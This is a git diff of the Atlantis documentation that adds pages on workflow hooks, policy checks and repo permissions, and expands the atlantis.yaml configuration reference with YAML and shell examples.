configured separately if pulling policies from sources that require it. For example, to pull policies from an S3 bucket, Atlantis host can be configured with a default AWS profile that has permission to `s3:GetObject` and `s3:ListBucket` from the S3 bucket. + +### Running policy check against Terraform source code + +By default, Atlantis runs the policy check against the [`SHOWFILE`](custom-workflows.md#custom-run-command). In order to run the policy test against Terraform files directly, override the default `conftest` command used and pass in `*.tf` as one of the inputs to `conftest`. The `show` step is required so that Atlantis will generate the `SHOWFILE`. + +```yaml +workflows: + custom: + policy_check: + steps: + - show + - run: conftest test $SHOWFILE *.tf --no-fail +``` + +### Quiet policy checks + +By default, Atlantis will add a comment to all pull requests with the policy check result - both successes and failures. Version 0.21.0 added the [`--quiet-policy-checks`](server-configuration.md#quiet-policy-checks) option, which will instead only add comments when policy checks fail, significantly reducing the number of comments when most policy check results succeed. + +### Data for custom run steps + +When the policy check workflow runs, a file is created in the working directory which contains information about the status of each policy set tested. This data may be useful in custom run steps to generate metrics or notifications. The file contains JSON data in the following format: + +```json +[ + { + "PolicySetName": "policy1", + "PolicyOutput": "", + "Passed": false, + "ReqApprovals": 1, + "CurApprovals": 0 + } +] + +``` + +## Running policy check only on some repositories + +When policy checking is enabled it will be enforced on all repositories, in order to disable policy checking on some repositories first [enable policy checks](policy-checking.md#getting-started) and then disable it explicitly on each repository with the `policy_check` flag. + +For server side config: + +```yml +# repos.yaml +repos: +- id: /.*/ + plan_requirements: [approved] + apply_requirements: [approved] + import_requirements: [approved] +- id: /special-repo/ + plan_requirements: [approved] + apply_requirements: [approved] + import_requirements: [approved] + policy_check: false +``` + +For repo level `atlantis.yaml` config: + +```yml +version: 3 +projects: +- dir: project1 + workspace: staging +- dir: project1 + workspace: production + policy_check: false +``` diff --git a/runatlantis.io/docs/post-workflow-hooks.md b/runatlantis.io/docs/post-workflow-hooks.md new file mode 100644 index 0000000000..a700fbdd96 --- /dev/null +++ b/runatlantis.io/docs/post-workflow-hooks.md @@ -0,0 +1,121 @@ +# Post Workflow Hooks + +Post workflow hooks can be defined to run scripts after default or custom +workflows are executed. Post workflow hooks differ from [custom +workflows](custom-workflows.md#custom-run-command) in that they are run +outside of Atlantis commands. Which means they do not surface their output +back to the PR as a comment. + +## Usage + +Post workflow hooks can only be specified in the Server-Side Repo Config under +the `repos` key. + +## Atlantis Command Targeting + +By default, the workflow hook will run when any command is processed by Atlantis. +This can be modified by specifying the `commands` key in the workflow hook containing a comma delimited list +of Atlantis commands that the hook should be run for. Detail of the Atlantis commands +can be found in [Using Atlantis](using-atlantis.md). + +### Example + +```yaml +repos: + - id: /.*/ + post_workflow_hooks: + - run: ./plan-hook.sh + description: Plan Hook + commands: plan + - run: ./plan-apply-hook.sh + description: Plan & Apply Hook + commands: plan, apply +``` + +## Use Cases + +### Cost estimation reporting + +You can add a post workflow hook to perform custom reporting after all workflows +have finished. + +In this example we use a custom workflow to generate cost estimates for each +workflow using [Infracost](https://www.infracost.io/docs/integrations/cicd/#cicd-integrations), then create a summary report after all workflows have completed. + +```yaml +# repos.yaml +workflows: + myworkflow: + plan: + steps: + - init + - plan + - run: infracost breakdown --path=$PLANFILE --format=json --out-file=/tmp/$BASE_REPO_OWNER-$BASE_REPO_NAME-$PULL_NUM-$WORKSPACE-$REPO_REL_DIR-infracost.json +repos: + - id: /.*/ + workflow: myworkflow + post_workflow_hooks: + - run: infracost output --path=/tmp/$BASE_REPO_OWNER-$BASE_REPO_NAME-$PULL_NUM-*-infracost.json --format=github-comment --out-file=/tmp/infracost-comment.md + description: Running infracost + # Now report the output as desired, e.g. post to GitHub as a comment. + # ... +``` + +## Customizing the Shell + +By default, the commands will be run using the 'sh' shell with an argument of '-c'. This +can be customized using the `shell` and `shellArgs` keys. + +Example: + +```yaml +repos: + - id: /.*/ + post_workflow_hooks: + - run: | + echo 'atlantis.yaml config:' + cat atlantis.yaml + description: atlantis.yaml report + shell: bash + shellArgs: -cv +``` + +## Reference + +### Custom `run` Command + +This is very similar to [custom workflow run +command](custom-workflows.md#custom-run-command). + +```yaml +- run: custom-command +``` + +| Key | Type | Default | Required | Description | +| ----------- | ------ | ------- | -------- | --------------------- | +| run | string | none | no | Run a custom command | +| description | string | none | no | Post hook description | +| shell | string | 'sh' | no | The shell to use for running the command | +| shellArgs | string | '-c' | no | The shell arguments to use for running the command | + +::: tip Notes + +* `run` commands are executed with the following environment variables: + * `BASE_REPO_NAME` - Name of the repository that the pull request will be merged into, ex. `atlantis`. + * `BASE_REPO_OWNER` - Owner of the repository that the pull request will be merged into, ex. `runatlantis`. + * `HEAD_REPO_NAME` - Name of the repository that is getting merged into the base repository, ex. `atlantis`. + * `HEAD_REPO_OWNER` - Owner of the repository that is getting merged into the base repository, ex. `acme-corp`. + * `HEAD_BRANCH_NAME` - Name of the head branch of the pull request (the branch that is getting merged into the base) + * `HEAD_COMMIT` - The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs. + * `BASE_BRANCH_NAME` - Name of the base branch of the pull request (the branch that the pull request is getting merged into) + * `PULL_NUM` - Pull request number or ID, ex. `2`. + * `PULL_URL` - Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`. + * `PULL_AUTHOR` - Username of the pull request author, ex. `acme-user`. + * `DIR` - The absolute path to the root of the cloned repository. + * `USER_NAME` - Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`. + * `COMMENT_ARGS` - Any additional flags passed in the comment on the pull request. Flags are separated by commas and + every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\a\r\g\1,\a\r\g\2`. + * `COMMAND_NAME` - The name of the command that is being executed, i.e. `plan`, `apply` etc. + * `COMMAND_HAS_ERRORS` - Indicates whether any errors occurred during the execution of the command (`plan`, `apply`). If set to `true`, at least one error was encountered; otherwise, it is `false`. + * `OUTPUT_STATUS_FILE` - An output file to customize the success or failure status. ex. `echo 'failure' > $OUTPUT_STATUS_FILE`. +::: diff --git a/runatlantis.io/docs/pre-workflow-hooks.md b/runatlantis.io/docs/pre-workflow-hooks.md new file mode 100644 index 0000000000..9c1166bb58 --- /dev/null +++ b/runatlantis.io/docs/pre-workflow-hooks.md @@ -0,0 +1,117 @@ +# Pre Workflow Hooks + +Pre workflow hooks can be defined to run scripts before default or custom +workflows are executed. Pre workflow hooks differ from [custom +workflows](custom-workflows.md#custom-run-command) in several ways. + +1. Pre workflow hooks do not require the repository configuration to be + present. This can be utilized to [dynamically generate repo configs](pre-workflow-hooks.md#dynamic-repo-config-generation). +2. Pre workflow hooks are run outside of Atlantis commands. Which means + they do not surface their output back to the PR as a comment. + +## Usage + +Pre workflow hooks can only be specified in the Server-Side Repo Config under the +`repos` key. + +::: tip Note +By default, `pre-workflow-hooks` do not prevent Atlantis from executing its +workflows(`plan`, `apply`) even if a `run` command exits with an error. This +behavior can be changed by setting the [fail-on-pre-workflow-hook-error](server-configuration.md#fail-on-pre-workflow-hook-error) +flag in the Atlantis server configuration. +::: + +## Atlantis Command Targeting + +By default, the workflow hook will run when any command is processed by Atlantis. +This can be modified by specifying the `commands` key in the workflow hook containing a comma delimited list +of Atlantis commands that the hook should be run for. Detail of the Atlantis commands +can be found in [Using Atlantis](using-atlantis.md). + +### Example + +```yaml +repos: + - id: /.*/ + pre_workflow_hooks: + - run: ./plan-hook.sh + description: Plan Hook + commands: plan + - run: ./plan-apply-hook.sh + description: Plan & Apply Hook + commands: plan, apply +``` + +## Use Cases + +### Dynamic Repo Config Generation + +To generate the repo `atlantis.yaml` before Atlantis can parse it, +add a `run` command to `pre_workflow_hooks`. Your Repo config will be generated +right before Atlantis parses it. + +```yaml +repos: + - id: /.*/ + pre_workflow_hooks: + - run: ./repo-config-generator.sh + description: Generating configs +``` + +## Customizing the Shell + +By default, the command will be run using the 'sh' shell with an argument of '-c'. This +can be customized using the `shell` and `shellArgs` keys. + +Example: + +```yaml +repos: + - id: /.*/ + pre_workflow_hooks: + - run: | + echo "generating atlantis.yaml" + terragrunt-atlantis-config generate --output atlantis.yaml --autoplan --parallel + description: Generating atlantis.yaml + shell: bash + shellArgs: -cv +``` + +## Reference + +### Custom `run` Command + +This is very similar to the [custom workflow run +command](custom-workflows.md#custom-run-command). + +```yaml +- run: custom-command +``` + +| Key | Type | Default | Required | Description | +| ----------- | ------ | ------- | -------- | -------------------- | +| run | string | none | no | Run a custom command | +| description | string | none | no | Pre hook description | +| shell | string | 'sh' | no | The shell to use for running the command | +| shellArgs | string | '-c' | no | The shell arguments to use for running the command | + +::: tip Notes + +* `run` commands are executed with the following environment variables: + * `BASE_REPO_NAME` - Name of the repository that the pull request will be merged into, ex. `atlantis`. + * `BASE_REPO_OWNER` - Owner of the repository that the pull request will be merged into, ex. `runatlantis`. + * `HEAD_REPO_NAME` - Name of the repository that is getting merged into the base repository, ex. `atlantis`. + * `HEAD_REPO_OWNER` - Owner of the repository that is getting merged into the base repository, ex. `acme-corp`. + * `HEAD_BRANCH_NAME` - Name of the head branch of the pull request (the branch that is getting merged into the base) + * `HEAD_COMMIT` - The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs. + * `BASE_BRANCH_NAME` - Name of the base branch of the pull request (the branch that the pull request is getting merged into) + * `PULL_NUM` - Pull request number or ID, ex. `2`. + * `PULL_URL` - Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`. + * `PULL_AUTHOR` - Username of the pull request author, ex. `acme-user`. + * `DIR` - The absolute path to the root of the cloned repository. + * `USER_NAME` - Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`. + * `COMMENT_ARGS` - Any additional flags passed in the comment on the pull request. Flags are separated by commas and + every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\a\r\g\1,\a\r\g\2`. + * `COMMAND_NAME` - The name of the command that is being executed, i.e. `plan`, `apply` etc. + * `OUTPUT_STATUS_FILE` - An output file to customize the success or failure status. ex. `echo 'failure' > $OUTPUT_STATUS_FILE`. +::: diff --git a/runatlantis.io/docs/provider-credentials.md b/runatlantis.io/docs/provider-credentials.md index 48f641a1cd..8dcddb7463 100644 --- a/runatlantis.io/docs/provider-credentials.md +++ b/runatlantis.io/docs/provider-credentials.md @@ -1,17 +1,19 @@ # Provider Credentials + Atlantis runs Terraform by simply executing `terraform plan` and `apply` commands on the server Atlantis is hosted on. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider. It's up to you how you provide credentials for your specific provider to Atlantis: -* The Atlantis [Helm Chart](deployment.html#kubernetes-helm-chart) and - [AWS Fargate Module](deployment.html#aws-fargate) have their own mechanisms for provider + +* The Atlantis [Helm Chart](deployment.md#kubernetes-helm-chart) and + [AWS Fargate Module](deployment.md#aws-fargate) have their own mechanisms for provider credentials. Read their docs. * If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex: - * [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role") - * [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) + * [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role") + * [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) * Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running. * Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running. * Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) @@ -22,10 +24,10 @@ As a general rule, if you can `ssh` or `exec` into the server where Atlantis is running and run `terraform` commands like you would locally, then Atlantis will work. ::: - ## AWS Specific Info ### Multiple AWS Accounts + Atlantis supports multiple AWS accounts through the use of Terraform's [AWS Authentication](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "Authentication"). @@ -41,6 +43,7 @@ won't work for multiple accounts since Atlantis wouldn't know which environment Terraform with. ### Assume Role Session Names + If you're using Terraform < 0.12, Atlantis injects 5 Terraform variables that can be used to dynamically name the assume role session name. Setting the `session_name` allows you to trace API calls made through Atlantis back to a specific user and repo via CloudWatch: @@ -55,6 +58,7 @@ provider "aws" { ``` Atlantis runs `terraform` with the following variables: + | `-var` Argument | Description | |--------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------| | `atlantis_user=lkysow` | The VCS username of who is running the plan command. | @@ -63,7 +67,7 @@ Atlantis runs `terraform` with the following variables: | `atlantis_repo_name=atlantis` | The name of the repo the pull request is in. | | `atlantis_pull_num=200` | The pull request number. | -If you want to use `assume_role` with Atlantis and you're also using the [S3 Backend](https://www.terraform.io/docs/backends/types/s3.html), +If you want to use `assume_role` with Atlantis and you're also using the [S3 Backend](https://developer.hashicorp.com/terraform/language/settings/backends/s3), make sure to add the `role_arn` option: ```bash @@ -89,5 +93,6 @@ You can still set these variables yourself using the `extra_args` configuration. ::: ## Next Steps -* If you want to configure Atlantis further, read [Configuring Atlantis](configuring-atlantis.html) -* If you're ready to use Atlantis, read [Using Atlantis](using-atlantis.html) + +* If you want to configure Atlantis further, read [Configuring Atlantis](configuring-atlantis.md) +* If you're ready to use Atlantis, read [Using Atlantis](using-atlantis.md) diff --git a/runatlantis.io/docs/repo-and-project-permissions.md b/runatlantis.io/docs/repo-and-project-permissions.md new file mode 100644 index 0000000000..cd56d8ee7e --- /dev/null +++ b/runatlantis.io/docs/repo-and-project-permissions.md @@ -0,0 +1,174 @@ +# Repo and Project Permissions + +Sometimes it may be necessary to limit who can run which commands, such as +restricting who can apply changes to production, while allowing more +freedom for dev and test environments. + +## Authorization Workflow + +Atlantis performs two authorization checks to verify a user has the necessary +permissions to run a command: + +1. After a command has been validated, before var files, repo metadata, or + pull request statuses are checked and validated. +2. After pre workflow hooks have run, repo configuration processed, and + affected projects determined. + +::: tip Note +The first check should be considered as validating the user for a repository +as a whole, while the second check is for validating a user for a specific +project in that repo. +::: + +### Why check permissions twice? + +The way Atlantis is currently designed, not all relevant information may be +available when the first check happens. In particular, affected projects +are not known because pre workflow hooks haven't run yet, so repositories +that use hooks to generate or modify repo configurations won't know which +projects to check permissions for. + +## Configuring permissions + +Atlantis has two options for allowing instance administrators to configure +permissions. + +### Server option [`--gh-team-allowlist`](server-configuration.md#gh-team-allowlist) + +The `--gh-team-allowlist` option allows administrators to configure a global +set of permissions that apply to all repositories. For most use cases, this +should be sufficient. + +### External command + +For administrators that require more granular and specific permission +definitions, an external command can be defined in the [server side repo +configuration](server-side-repo-config.md#teamauthz). This command will receive +information about the command, repo, project, and GitHub teams the user is a +member of, allowing administrators to integrate the permissions validation +with other systems or business requirements. An example would be allowing +users to apply changes to lower environments like dev and test environments +while restricting changes to production or other sensitive environments. + +::: warning +These options are mutually exclusive. If an external command is defined, +the `--gh-team-allowlist` option is ignored. +::: + +## Example + +### Restrict production changes + +This example shows a simple example of how a script could be used to restrict +production changes to a specific team, while allowing anyone to work on other +environments. For brevity, this example assumes each user is a member of a +single team. + +`server-side-repo-config.yaml` + +```yaml +team_authz: + command: "/scripts/example.sh" +``` + +`example.sh` + +```shell +#!/bin/bash + +# Define name of team allowed to make production changes +PROD_TEAM="example-org/prod-deployers" + +# Set variables from command-line arguments for convenience +COMMAND="$1" +REPO="$2" +TEAM="$3" + +# Check if we are running the 'apply' command on prod +if [ "${COMMAND}" == "apply" -a "${PROJECT_NAME}" == "prod" ] +then + # Only the prod team can make this change + if [ "${TEAM}" == "${PROD_TEAM}" ] + then + echo "pass" + exit 0 + fi + + # Print reason for failing and exit + echo "user \"${USER_NAME}\" must be a member of \"${PROD_TEAM}\" to apply changes to production." + exit 0 +fi + +# Any other command and environment is okay +echo "pass" +exit 0 +``` + +## Reference + +### External Command Execution + +External commands are executed on every authorization check with arguments and +environment variables containing context about the command being checked. The +command is executed using the following format: + +```shell +external_command [external_args...] atlantis_command repo [teams...] +``` + +| Key | Optional | Description | +|--------------------|----------|-------------------------------------------------------------------------------------------| +| `external_command` | no | Command defined in [server side repo configuration](server-side-repo-config.md) | +| `external_args` | yes | Command arguments defined in [server side repo configuration](server-side-repo-config.md) | +| `atlantis_command` | no | The atlantis command being run (`plan`, `apply`, etc) | +| `repo` | no | The full name of the repo being executed (format: `owner/repo_name`) | +| `teams` | yes | A list of zero or more teams of the user executing the command | + +The following environment variables are passed to the command on every execution: + +| Key | Description | +|----------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `BASE_REPO_NAME` | Name of the repository that the pull request will be merged into, ex. `atlantis`. | +| `BASE_REPO_OWNER` | Owner of the repository that the pull request will be merged into, ex. `runatlantis`. | +| `COMMAND_NAME` | The name of the command that is being executed, i.e. `plan`, `apply` etc. | +| `USER_NAME` | Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`. | + +The following environment variables are also passed to the command when checking project authorization: + +| Key | Description | +|----------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `BASE_BRANCH_NAME` | Name of the base branch of the pull request (the branch that the pull request is getting merged into) | +| `COMMENT_ARGS` | Any additional flags passed in the comment on the pull request. Flags are separated by commas and every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\a\r\g\1,\a\r\g\2`. | +| `HEAD_REPO_NAME` | Name of the repository that is getting merged into the base repository, ex. `atlantis`. | +| `HEAD_REPO_OWNER` | Owner of the repository that is getting merged into the base repository, ex. `acme-corp`. | +| `HEAD_BRANCH_NAME` | Name of the head branch of the pull request (the branch that is getting merged into the base) | +| `HEAD_COMMIT` | The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs. | +| `PROJECT_NAME` | Name of the project the command is being executed on | +| `PULL_NUM` | Pull request number or ID, ex. `2`. | +| `PULL_URL` | Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`. | +| `PULL_AUTHOR` | Username of the pull request author, ex. `acme-user`. | +| `REPO_ROOT` | The absolute path to the root of the cloned repository. | +| `REPO_REL_PATH` | Path to the project relative to `REPO_ROOT` | + +### External Command Result Handling + +Atlantis determines if a user is authorized to run the requested command by +checking if the external command exited with code `0` and if the last line +of output is `pass`. + +```text +# Pseudo-code of Atlantis evaluation of external commands + +user_authorized = + external_command.exit_code == 0 + && external_command.output.last_line == 'pass' +``` + +::: tip + +* A non-zero exit code means the command failed to evaluate the request for +some reason (bad configuration, missing dependencies, solar flares, etc). +* If the command was able to run successfully, but determined the user is not +authorized, it should still exit with code `0`. + * The command output could contain the reasoning for the authorization failure. +::: diff --git a/runatlantis.io/docs/repo-level-atlantis-yaml.md b/runatlantis.io/docs/repo-level-atlantis-yaml.md index 6c3ad7b44d..da7defd51e 100644 --- a/runatlantis.io/docs/repo-level-atlantis-yaml.md +++ b/runatlantis.io/docs/repo-level-atlantis-yaml.md @@ -1,31 +1,33 @@ # Repo Level atlantis.yaml Config + An `atlantis.yaml` file specified at the root of a Terraform repo allows you to instruct Atlantis on the structure of your repo and set custom workflows. -[[toc]] - ## Do I need an atlantis.yaml file? + `atlantis.yaml` files are only required if you wish to customize some aspect of Atlantis. The default Atlantis config works for many users without changes. Read through the [use-cases](#use-cases) to determine if you need it. ## Enabling atlantis.yaml + By default, all repos are allowed to have an `atlantis.yaml` file, but some of the keys are restricted by default. Restricted keys can be set in the server-side `repos.yaml` repo config file. You can enable `atlantis.yaml` to override restricted -keys by setting the `allowed_overrides` key there. See the [Server Side Repo Config](server-side-repo-config.html) for +keys by setting the `allowed_overrides` key there. See the [Server Side Repo Config](server-side-repo-config.md) for more details. -**Notes** -* `atlantis.yaml` files must be placed at the root of the repo -* The only supported name is `atlantis.yaml`. Not `atlantis.yml` or `.atlantis.yaml`. +**Notes:** + +* By default, repo root `atlantis.yaml` file is used. +* You can change this behaviour by setting [Server Side Repo Config](server-side-repo-config.md) ::: danger DANGER Atlantis uses the `atlantis.yaml` version from the pull request, similar to other -CI/CD systems. If you're allowing users to [create custom workflows](server-side-repo-config.html#allow-repos-to-define-their-own-workflows) +CI/CD systems. If you're allowing users to [create custom workflows](server-side-repo-config.md#allow-repos-to-define-their-own-workflows) then this means anyone that can create a pull request to your repo can run arbitrary code on the Atlantis server. @@ -34,33 +36,64 @@ By default, this is not allowed. ::: ::: warning -Once an `atlantis.yaml` file exists in a repo, Atlantis won't try to determine -where to run plan automatically. Instead it will just follow the project configuration. -This means that you'll need to define each project in your repo. +Once an `atlantis.yaml` file exists in a repo and one or more `projects` are configured, +Atlantis won't try to determine where to run plan automatically. Instead it will just +follow the project configuration. This means that you'll need to define each project +in your repo. If you have many directories with Terraform configuration, each directory will need to be defined. + +This behavior can be overridden by setting `autodiscover.mode` to +`enabled` in which case Atlantis will still try to discover projects which were not +explicitly configured. If the directory of any discovered project conflicts with a +manually configured project, the manually configured project will take precedence. ::: ## Example Using All Keys + ```yaml version: 3 automerge: true +autodiscover: + mode: auto + ignore_paths: + - some/path +delete_source_branch_on_merge: true +parallel_plan: true +parallel_apply: true +abort_on_execution_order_fail: true projects: - name: my-project-name + branch: /main/ dir: . workspace: default + terraform_distribution: terraform terraform_version: v0.11.0 + delete_source_branch_on_merge: true + repo_locking: true # deprecated: use repo_locks instead + repo_locks: + mode: on_plan + custom_policy_check: false autoplan: - when_modified: ["*.tf", "../modules/**.tf"] + when_modified: ["*.tf", "../modules/**/*.tf", ".terraform.lock.hcl"] enabled: true - apply_requirements: [mergeable, approved] + plan_requirements: [mergeable, approved, undiverged] + apply_requirements: [mergeable, approved, undiverged] + import_requirements: [mergeable, approved, undiverged] + silence_pr_comments: ["apply"] + execution_order_group: 1 + depends_on: + - project-1 workflow: myworkflow workflows: myworkflow: plan: steps: - run: my-custom-command arg1 arg2 + - run: + command: my-custom-command arg1 arg2 + output: hide - init - plan: extra_args: ["-lock", "false"] @@ -69,10 +102,62 @@ workflows: steps: - run: echo hi - apply +allowed_regexp_prefixes: +- dev/ +- staging/ +``` + +## Example of DRYing up projects using YAML anchors + +```yaml +projects: + - &template + name: template + dir: template + workflow: custom + autoplan: + enabled: true + when_modified: + - "./terraform/modules/**/*.tf" + - "**/*.tf" + - ".terraform.lock.hcl" + + - <<: *template + name: ue1-prod-titan + dir: ./terraform/titan + workspace: ue1-prod + + - <<: *template + name: ue1-stage-titan + dir: ./terraform/titan + workspace: ue1-stage + + - <<: *template + name: ue1-dev-titan + dir: ./terraform/titan + workspace: ue1-dev +``` + +## Auto generate projects + +This is useful if you have many projects in a repository. This assumes the `default` workspace (or no workspace). + +Run this in the root of your repository. This will use gnu `grep` to search terraform files for an S3 backend (terraform dir), retrieve the directory path, retrieve the unique entries, and then use `yq` to return the YAML of a simple project dir setup which can then be modified to your liking. + +```sh +grep -P 'backend[\s]+"s3"' **/*.tf | + rev | cut -d'/' -f2- | rev | + sort | + uniq | + while read d; do \ + echo '[ {"name": "'"$d"'","dir": "'"$d"'", "autoplan": {"when_modified": ["**/*.tf.*"] }} ]' | yq -PM; \ + done ``` ## Use Cases + ### Disabling Autoplanning + ```yaml version: 3 projects: @@ -80,14 +165,31 @@ projects: autoplan: enabled: false ``` + This will stop Atlantis automatically running plan when `project1/` is updated in a pull request. +### Run plans and applies in parallel + +```yaml +version: 3 +parallel_plan: true +parallel_apply: true +``` + +This will run plans and applies for all of your projects in parallel. + +Enabling these options can significantly reduce the duration of plans and applies, especially for repositories with many projects. + +Use the `--parallel-pool-size` to configure the max number of plans and applies that can run in parallel. The default is 15. + +Parallel plans and applies work across both multiple directories and multiple workspaces. + ### Configuring Planning Given the directory structure: -``` +```plain . ├── modules │   └── module1 @@ -102,22 +204,23 @@ Given the directory structure: If you want Atlantis to plan `project1/` whenever any `.tf` files under `module1/` change or any `.tf` or `.tfvars` files under `project1/` change you could use the following configuration: - ```yaml version: 3 projects: - dir: project1 autoplan: - when_modified: ["../modules/**/*.tf", "*.tf*"] + when_modified: ["../modules/**/*.tf", "*.tf*", ".terraform.lock.hcl"] ``` Note: + * `when_modified` uses the [`.dockerignore` syntax](https://docs.docker.com/engine/reference/builder/#dockerignore-file) * The paths are relative to the project's directory. * `when_modified` will be used by both automatic and manually run plans. * `when_modified` will continue to work for manually run plans even when autoplan is disabled. ### Supporting Terraform Workspaces + ```yaml version: 3 projects: @@ -126,34 +229,58 @@ projects: - dir: project1 workspace: production ``` + With the above config, when Atlantis determines that the configuration for the `project1` dir has changed, it will run plan for both the `staging` and `production` workspaces. If you want to `plan` or `apply` for a specific workspace you can use -``` + +```shell atlantis plan -w staging -d project1 ``` + and -``` + +```shell atlantis apply -w staging -d project1 ``` ### Using .tfvars files -See [Custom Workflow Use Cases: Using .tfvars files](custom-workflows.html#tfvars-files) + +See [Custom Workflow Use Cases: Using .tfvars files](custom-workflows.md#tfvars-files) ### Adding extra arguments to Terraform commands -See [Custom Workflow Use Cases: Adding extra arguments to Terraform commands](custom-workflows.html#adding-extra-arguments-to-terraform-commands) + +See [Custom Workflow Use Cases: Adding extra arguments to Terraform commands](custom-workflows.md#adding-extra-arguments-to-terraform-commands) ### Custom init/plan/apply Commands -See [Custom Workflow Use Cases: Custom init/plan/apply Commands](custom-workflows.html#custom-init-plan-apply-commands) + +See [Custom Workflow Use Cases: Custom init/plan/apply Commands](custom-workflows.md#custom-init-plan-apply-commands) ### Terragrunt -See [Custom Workflow Use Cases: Terragrunt](custom-workflows.html#terragrunt) + +See [Custom Workflow Use Cases: Terragrunt](custom-workflows.md#terragrunt) ### Running custom commands -See [Custom Workflow Use Cases: Running custom commands](custom-workflows.html#running-custom-commands) + +See [Custom Workflow Use Cases: Running custom commands](custom-workflows.md#running-custom-commands) + +### Terraform Distributions + +If you'd like to use a different distribution of Terraform than what is set +by the `--default-tf-version` flag, then set the `terraform_distribution` key: + +```yaml +version: 3 +projects: +- dir: project1 + terraform_distribution: opentofu +``` + +Atlantis will automatically download and use this distribution. Valid values are `terraform` and `opentofu`. ### Terraform Versions + If you'd like to use a different version of Terraform than what is in Atlantis' `PATH` or is set by the `--default-tf-version` flag, then set the `terraform_version` key: @@ -167,71 +294,219 @@ projects: Atlantis will automatically download and use this version. ### Requiring Approvals For Production + In this example, we only want to require `apply` approvals for the `production` directory. + ```yaml version: 3 projects: - dir: staging - dir: production + plan_requirements: [approved] apply_requirements: [approved] + import_requirements: [approved] ``` + :::warning -`apply_requirements` is a restricted key so this repo will need to be configured -to be allowed to set this key. See [Server-Side Repo Config Use Cases](server-side-repo-config.html#repos-can-set-their-own-apply-requirements). +`plan_requirements`, `apply_requirements` and `import_requirements` are restricted keys so this repo will need to be configured +to be allowed to set this key. See [Server-Side Repo Config Use Cases](server-side-repo-config.md#repos-can-set-their-own-apply-an-applicable-subcommand). +::: + +### Order of planning/applying + +```yaml +version: 3 +abort_on_execution_order_fail: true +projects: +- dir: project1 + execution_order_group: 2 +- dir: project2 + execution_order_group: 1 +``` + +With this config above, Atlantis runs planning/applying for project2 first, then for project1. +Several projects can have same `execution_order_group`. Any order in one group isn't guaranteed. +`parallel_plan` and `parallel_apply` respect these order groups, so parallel planning/applying works +in each group one by one. + +If any plan/apply fails and `abort_on_execution_order_fail` is set to true on a repo level, all the +following groups will be aborted. For this example, if project2 fails then project1 will not run. + +Execution order groups are useful when you have dependencies between projects. However, they are only applicable in the case where +you initiate a global apply for all of your projects, i.e `atlantis apply`. If you initiate an apply on a single project, then the execution order groups are ignored. +Thus, the `depends_on` key is more useful in this case. and can be used in conjunction with execution order groups. + +The following configuration is an example of how to use execution order groups and depends_on together to enforce dependencies between projects. + +```yaml +version: 3 +projects: +- name: development + dir: . + autoplan: + when_modified: ["*.tf", "vars/development.tfvars"] + execution_order_group: 1 + workspace: development + workflow: infra +- name: staging + dir: . + autoplan: + when_modified: ["*.tf", "vars/staging.tfvars"] + depends_on: ["development"] + execution_order_group: 2 + workspace: staging + workflow: infra +- name: production + dir: . + autoplan: + when_modified: ["*.tf", "vars/production.tfvars"] + depends_on: ["staging"] + execution_order_group: 3 + workspace: production + workflow: infra +``` + +the `depends_on` feature will make sure that `production` is not applied before `staging` for example. + +::: tip +What Happens if one or more project's dependencies are not applied? + +If there's one or more projects in the dependency list which is not in applied status, users will see an error message like this: +`Can't apply your project unless you apply its dependencies` ::: +### Autodiscovery Config + +```yaml +autodiscover: + mode: "auto" +``` + +The above is the default configuration for `autodiscover.mode`. When `autodiscover.mode` is auto, +projects will be discovered only if the repo has no `projects` configured. + +```yaml +autodiscover: + mode: "disabled" +``` + +With the config above, Atlantis will never try to discover projects, even when there are no +`projects` configured. This is useful if dynamically generating Atlantis config in pre_workflow hooks. +See [Dynamic Repo Config Generation](pre-workflow-hooks.md#dynamic-repo-config-generation). + +```yaml +autodiscover: + mode: "enabled" +``` + +With the config above, Atlantis will unconditionally try to discover projects based on modified_files, +even when the directory of the project is missing from the configured `projects` in the repo configuration. +If a discovered project has the same directory as a project which was manually configured in `projects`, +the manual configuration will take precedence. + +Use this feature when some projects require specific configuration in a repo with many projects yet +it's still desirable for Atlantis to plan/apply for projects not enumerated in the config. + +```yaml +autodiscover: + mode: "enabled" + ignore_paths: + - dir/* +``` + +Autodiscover can also be configured to skip over directories that match a path glob (as defined [here](https://pkg.go.dev/github.com/bmatcuk/doublestar/v4)) ### Custom Backend Config -See [Custom Workflow Use Cases: Custom Backend Config](custom-workflows.html#custom-backend-config) + +See [Custom Workflow Use Cases: Custom Backend Config](custom-workflows.md#custom-backend-config) ## Reference + ### Top-Level Keys + ```yaml -version: -automerge: +version: 3 